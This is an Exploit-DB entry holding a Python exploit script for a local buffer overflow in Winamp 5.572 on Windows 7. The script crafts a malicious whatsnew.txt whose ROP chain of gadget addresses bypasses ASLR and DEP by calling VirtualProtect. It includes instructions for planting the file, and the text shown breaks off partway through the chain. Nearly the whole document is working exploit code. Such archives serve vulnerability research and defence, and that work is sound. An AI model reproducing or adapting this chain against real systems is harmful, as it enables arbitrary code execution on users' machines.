Exploit-DB #14068
Description: Winamp 5.572 (Windows 7) - Local Buffer Overflow (ASLR + DEP Bypass)
Type: local
Platform: windows
Date: 2010-06-26
Author: Node

Exploit:
#!/usr/bin/python

#Exploit Title: 	Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)
#Date: 			June 26, 2010
#Author:		Node
#Software Link:		http://download.nullsoft.com/winamp/client/winamp5572_full_emusic-7plus_en-us.exe
#Tested on: 		Windows 7 Ultimate x64 ENG
#Badchars: 		'\x00\xff\x5c\x2f\x0a\x0d\x20'
#Instructions: Replace generated whatsnew.txt with original in Winamp folder, Start Winamp, rightclick the flash symbol, "Nullsoft Winamp...", Version history


print "[+] Winamp_5.572_whatsnew.txt Win7 ASLR and DEP Bypass - by Node"

version = "Winamp 5.572"

rop = "A" * 540          # Offset
rop += "\x8a\x35\x84\x07" #0x0784358A :  # PUSH ESP # POP ESI # RETN       [Module : in_wm.dll]
rop += "A"*16
rop += "\x8a\x3d\x14\x07" #0x07143D8A :  # PUSH ESI # SUB AL,5E # XOR EAX,EAX # POP EBP # RETN     [Module: zlib.dll]
rop += "\xf7\xb8\x40\x07" #0x0740B8F7 :  # XCHG EAX,EBP # RETN     [Module : gen_ff.dll]
rop += "\xd6\x5e\x65\x07" #0x07655ED6 :  # ADD ESP,30 # RETN       [Module : in_cdda.dll]
rop += "0000" #VirtualProtect placeholder
rop += "DDDD" #return address placeholder
rop += "1111" #lpAddress placeholder
rop += "2222" #dwsize placeholder
rop += "3333" #flNewProtect placeholder
rop += "\x60\xf6\x78\x07" # lpflOldProtect (0x0778f660 writable address in in_mp3.dll) 
rop += "A"*24
#---------------Grab a kernel32 pointer from the stack--------------------
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07"*4 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll]
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07"*3 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += "\x29\x13\x09\x07"*29 #0x07091329 :  # INC EAX # RETN  [Module : libsndfile.dll]
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\xb3\x6a\x6c\x07" #0x076C6AB3 :  # SUB EAX,EDX # RETN      [Module : in_flv.dll]
rop += "\xa7\x41\x11\x07" #0x071141A7 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN       [Module : tataki.dll]
#----------------------EAX=kernel32, ESI=start----------------------

#---------------Change kernel32 pointer to VirtualProtect()-----------------
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07"*4 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll] 104
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 208
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 410
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 820
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 1040
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 2080
rop += "\x08\x13\x8d\x07" #0x078D1308 :  # SUB EAX,41 # RETN       [Module : ml_disc.dll] 203f
rop += "\xc6\xd7\x8d\x07" #0x078DD7C6 :  # SUB EAX,20 # RETN       [Module : ml_disc.dll] 201f
rop += "\xec\x11\x09\x07"*4 #0x070911EC :  # DEC EAX # RETN  [Module : libsndfile.dll] 201b
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x10\x7d\x0b\x07" #0x070B7D10 :  # ADD EAX,EDX # RETN      [Module : libsndfile.dll]
#---------------EAX=VirtualProtect(), ESI=start-----------------

#-------------Write VirtualProtect() to stack----------------------
rop += "\x82\x55\x40\x07"*12 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#---------------EAX=VirtualProtect(),ESI=start+12(VP)-----------


#-------------Write return address----------------------
rop += "\xdd\xb7\x3e\x07" #0x073EB7DD :  # MOV EAX,ESI # RETN      [Module : gen_ff.dll]
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x10\x7d\x0b\x07" #0x070B7D10 :  # ADD EAX,EDX # RETN      [Module : libsndfile.dll]
rop += "\x82\x55\x40\x07"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+16------------

#-------------Write placeholder 1----------------------
r